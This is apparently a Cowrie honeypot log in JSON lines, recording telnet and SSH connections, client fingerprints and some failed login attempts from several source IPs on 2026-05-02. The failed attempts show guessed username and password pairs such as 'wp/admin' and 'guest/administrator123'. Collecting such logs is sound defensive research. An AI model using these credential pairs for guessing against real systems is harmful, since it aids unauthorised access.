{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":54720,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6278050360","protocol":"telnet","message":"New connection: 94.156.33.203:54720 (159.203.135.109:23) [session: 3d6278050360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:07.455992Z"}
{"eventid":"cowrie.session.closed","duration":30.87605595588684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:08.550549Z","src_ip":"94.156.33.203","session":"71c69e39f90f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31812858581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:09.075811Z","src_ip":"94.156.33.203","session":"4a4c00855f3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.510303497314453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:09.376264Z","src_ip":"62.210.97.77","session":"dd87593142e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78815293312073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:09.457404Z","src_ip":"65.60.27.33","session":"348c39a7cd37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068410873413086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:09.955596Z","src_ip":"94.156.33.203","session":"2c71d5914c57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.24874973297119,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:10.038449Z","src_ip":"65.60.27.33","session":"4c0e59660258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.99818968772888,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:10.639609Z","src_ip":"62.210.97.77","session":"901ee7627c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d5adab6eda","protocol":"telnet","message":"New connection: 94.156.33.203:54730 (159.203.135.109:23) [session: d3d5adab6eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:10.898948Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc8ba2de3026","protocol":"telnet","message":"New connection: 94.156.33.203:54736 (159.203.135.109:23) [session: cc8ba2de3026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:11.166739Z"}
{"eventid":"cowrie.session.closed","duration":51.546568870544434,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:11.208362Z","src_ip":"38.54.119.93","session":"42ab4657fb4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d674726c887","protocol":"telnet","message":"New connection: 65.60.27.33:54136 (10.17.0.5:23) [session: 0d674726c887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:11.493636Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50324,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e55a882c22","protocol":"telnet","message":"New connection: 62.210.97.77:50324 (10.17.0.5:23) [session: 51e55a882c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:11.646698Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"b275855a5f03","protocol":"telnet","message":"New connection: 62.210.97.77:50332 (10.17.0.5:23) [session: b275855a5f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:11.707753Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53631,"dst_ip":"10.17.0.5","dst_port":22,"session":"be4b3dc0d131","protocol":"ssh","message":"New connection: 2.57.121.25:53631 (10.17.0.5:22) [session: be4b3dc0d131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.114973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.118913Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43586,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a416226e983","protocol":"telnet","message":"New connection: 38.54.119.93:43586 (10.17.0.5:23) [session: 6a416226e983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.122780Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.223384Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.98165035247803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.233229Z","src_ip":"62.210.97.77","session":"10f35bd2ddff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"25051976","message":"login attempt [user/25051976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:12.717717Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56414,"dst_ip":"10.17.0.5","dst_port":23,"session":"735c141b3416","protocol":"telnet","message":"New connection: 65.60.27.33:56414 (10.17.0.5:23) [session: 735c141b3416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:13.412306Z"}
{"eventid":"cowrie.session.closed","duration":38.32252597808838,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:13.814790Z","src_ip":"62.210.97.77","session":"9f65d85db97f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"250383","message":"login attempt [user/250383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:13.826346Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57584,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ad7bbbab04","protocol":"telnet","message":"New connection: 65.60.27.33:57584 (10.17.0.5:23) [session: 28ad7bbbab04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:14.470911Z"}
{"eventid":"cowrie.session.closed","duration":31.18778157234192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:14.860705Z","src_ip":"94.156.33.203","session":"0cd6f57c1360","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"24681","message":"login attempt [user/24681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:14.934563Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.207802295684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:15.052774Z","src_ip":"94.156.33.203","session":"9b36cce83762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58800,"dst_ip":"10.17.0.5","dst_port":23,"session":"06fbd9596d0e","protocol":"telnet","message":"New connection: 65.60.27.33:58800 (10.17.0.5:23) [session: 06fbd9596d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:15.462971Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50340,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e81092d4b69","protocol":"telnet","message":"New connection: 62.210.97.77:50340 (10.17.0.5:23) [session: 0e81092d4b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:15.681064Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24121979","message":"login attempt [user/24121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:16.041906Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23408341407776,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:17.135071Z","src_ip":"62.210.97.77","session":"1001f1b66522","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"24071979","message":"login attempt [user/24071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:17.150250Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.903204679489136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:17.555309Z","src_ip":"62.210.97.77","session":"ea6e6b790fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:18.258582Z","src_ip":"2.57.121.25","session":"be4b3dc0d131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37584,"dst_ip":"10.17.0.5","dst_port":23,"session":"de07deaf5241","protocol":"telnet","message":"New connection: 62.210.97.77:37584 (10.17.0.5:23) [session: de07deaf5241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:18.708267Z"}
{"eventid":"cowrie.session.closed","duration":32.541117429733276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:18.725356Z","src_ip":"62.210.97.77","session":"592908c3e068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53347945213318,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:18.873030Z","src_ip":"62.210.97.77","session":"343d3300b29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22106385231018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:19.502124Z","src_ip":"94.156.33.203","session":"1cf0f56d9b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6440faf26f7","protocol":"telnet","message":"New connection: 62.210.97.77:37590 (10.17.0.5:23) [session: e6440faf26f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:19.736438Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9ebef07424","protocol":"telnet","message":"New connection: 62.210.97.77:37596 (10.17.0.5:23) [session: 0e9ebef07424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:19.918852Z"}
{"eventid":"cowrie.session.closed","duration":46.83391261100769,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:21.897678Z","src_ip":"165.232.131.181","session":"3cd4f5acd9a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80d820b914d","protocol":"telnet","message":"New connection: 62.210.97.77:37602 (10.17.0.5:23) [session: e80d820b914d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:22.432724Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4acfd1ccf9e","protocol":"telnet","message":"New connection: 62.210.97.77:37606 (10.17.0.5:23) [session: b4acfd1ccf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:23.206825Z"}
{"eventid":"cowrie.session.closed","duration":30.72821879386902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:23.241511Z","src_ip":"62.210.97.77","session":"1691bf0bf9be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.840410232543945,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:23.739297Z","src_ip":"38.54.119.93","session":"98eae275b726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed7a8c74ead","protocol":"telnet","message":"New connection: 62.210.97.77:37614 (10.17.0.5:23) [session: 0ed7a8c74ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:24.492821Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":60710,"dst_ip":"159.203.135.109","dst_port":23,"session":"718592d49f3b","protocol":"telnet","message":"New connection: 94.156.33.203:60710 (159.203.135.109:23) [session: 718592d49f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:25.179004Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37618,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da63bafe7e0","protocol":"telnet","message":"New connection: 62.210.97.77:37618 (10.17.0.5:23) [session: 8da63bafe7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:27.548263Z"}
{"eventid":"cowrie.session.closed","duration":32.55853629112244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:28.289734Z","src_ip":"62.210.97.77","session":"2f00d54171d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":43740,"dst_ip":"159.203.135.109","dst_port":22,"session":"28fff24c132f","protocol":"ssh","message":"New connection: 103.189.235.176:43740 (159.203.135.109:22) [session: 28fff24c132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:28.931491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:28.935718Z","src_ip":"103.189.235.176","session":"28fff24c132f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17478,"dst_ip":"10.17.0.5","dst_port":22,"session":"91b6bc60f18b","protocol":"ssh","message":"New connection: 190.129.122.12:17478 (10.17.0.5:22) [session: 91b6bc60f18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:28.988322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:28.993556Z","src_ip":"190.129.122.12","session":"91b6bc60f18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.164307Z","src_ip":"190.129.122.12","session":"91b6bc60f18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.171204Z","src_ip":"103.189.235.176","session":"28fff24c132f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":48438,"dst_ip":"10.17.0.5","dst_port":22,"session":"c77c961dd83e","protocol":"ssh","message":"New connection: 156.232.13.218:48438 (10.17.0.5:22) [session: c77c961dd83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.390006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.394062Z","src_ip":"156.232.13.218","session":"c77c961dd83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38354,"dst_ip":"10.17.0.5","dst_port":23,"session":"19b3ecb26d26","protocol":"telnet","message":"New connection: 62.210.97.77:38354 (10.17.0.5:23) [session: 19b3ecb26d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.407235Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.462811Z","src_ip":"156.232.13.218","session":"c77c961dd83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp","password":"admin","message":"login attempt [wp/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.783712Z","src_ip":"156.232.13.218","session":"c77c961dd83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":60714,"dst_ip":"159.203.135.109","dst_port":23,"session":"de3a00a24408","protocol":"telnet","message":"New connection: 94.156.33.203:60714 (159.203.135.109:23) [session: de3a00a24408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.854900Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"administrator123","message":"login attempt [guest/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:29.875523Z","src_ip":"190.129.122.12","session":"91b6bc60f18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.370744228363037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:30.008602Z","src_ip":"94.156.33.203","session":"546fc9125674","protocol":"telnet"}
